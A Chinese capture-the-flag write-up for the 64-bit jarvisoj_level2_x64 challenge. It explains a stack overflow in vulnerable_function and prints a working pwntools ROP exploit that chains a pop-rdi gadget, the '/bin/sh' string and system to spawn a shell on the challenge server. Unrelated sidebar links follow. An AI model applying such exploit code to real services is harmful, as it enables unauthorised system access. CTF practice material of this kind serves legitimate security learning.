当前位置:网站首页>jarvisoj_level2_x64
jarvisoj_level2_x64
2022-06-25 22:35:00 【[mzq]】
jarvisoj_level2_x64
题目地址 : https://buuoj.cn/challenges#jarvisoj_level2_x64
checksec 一下,64位程序 开的保护影响不大(nx栈不可执行,也就是不能往栈上写shellcode)

main函数
主要是调用了vuln函数,其他没问题

vulnerable_function函数
首先这个函数调用了system函数,这就使得plt表中存在system,且可以被我们调用,然后read读取了0x200个字符串,这比buf到rbp的距离0x80还要大,这又使得我们可以对return
addr进行覆盖,再然后呢就是这个程序竟然存在/bin/sh字符串,我们可以通过system直接获得shell

/bin/sh字符串
exp
from pwn import *
io = process("./level2_x64")
io = remote("node4.buuoj.cn",28824)
elf = ELF("./level2_x64")
context(log_level="debug",arch="amd64",os="linux")
system_addr = elf.symbols["system"]
binsh_addr = next(elf.search("/bin/sh"))
main_addr = elf.symbols["main"]
rdi_ret_addr = 0x00000000004006b3
ret_addr = 0x00000000004004a1
payload = flat(["a"*0x80,"aaaabbbb",rdi_ret_addr,binsh_addr,ret_addr,system_addr])
io.sendlineafter("Input:",payload)
io.interactive()
边栏推荐
- CaMKIIa和GCaMP6f是一样的嘛?
- 【图像检测】基于高斯过程和Radon变换实现血管跟踪和直径估计附matlab代码
- 毕业季 | 在不断探索中拟合最好的自己
- Run the test program using rknn-toolkit-lite2 for rk3568 development board
- Solution to SMT grape ball phenomenon
- 鼠标拖拽围绕某个物体旋转展示
- Megacli common command collation
- Qt之自定义带游标的QSlider
- Explain from a process perspective what happens to the browser after entering a URL?
- 1-10vmware builds customized network architecture
猜你喜欢

DPVS fullnat mode management

Redisson 3.17.4 发布

Comprehensive introduction to Simulink solver

Flink报错:Error: A JNI error has occurred, please check your installation and try again

JS to input the start time and end time, output the number of seasons, and print the corresponding month and year

渲云携手英特尔,共创云渲染“芯”时代

【图像检测】基于高斯过程和Radon变换实现血管跟踪和直径估计附matlab代码

anchor free dection简介

Machine vision: illuminating "intelligence" and creating a new "vision" world

yolov5 提速多GPU训练显存低的问题
随机推荐
The problem of low video memory in yolov5 accelerated multi GPU training
Performance leads the cloud native database market! Intel and Tencent jointly build cloud technology ecology
Mysql5.7.31 user defined installation details
Apache foundation officially announced Apache inlong as a top-level project
CaMKIIa和GCaMP6f是一樣的嘛?
Apache基金会正式宣布Apache InLong成为顶级项目
[advanced ROS] Lecture 1 Introduction to common APIs
Redux workflow explanation + small examples
《SQL优化核心思想》
Methods of modifying elements in JS array
11.1.2 overview of Flink_ Wordcount case
Multi-Instance Redo Apply
Use Coe_ load_ sql_ profile. SQL fixed execution plan
[OEM special event] in the summer of "core cleaning", there are prize papers
JS to input the start time and end time, output the number of seasons, and print the corresponding month and year
Setting up a cluster environment under Linux (2) -- installing MySQL under Linux
Simulink求解器综合介绍
What are AOI, X-ray and ICT in SMT industry? What does it do?
[image detection] vascular tracking and diameter estimation based on Gaussian process and Radon transform with matlab code
使用VS2022编译Telegram桌面端(tdesktop)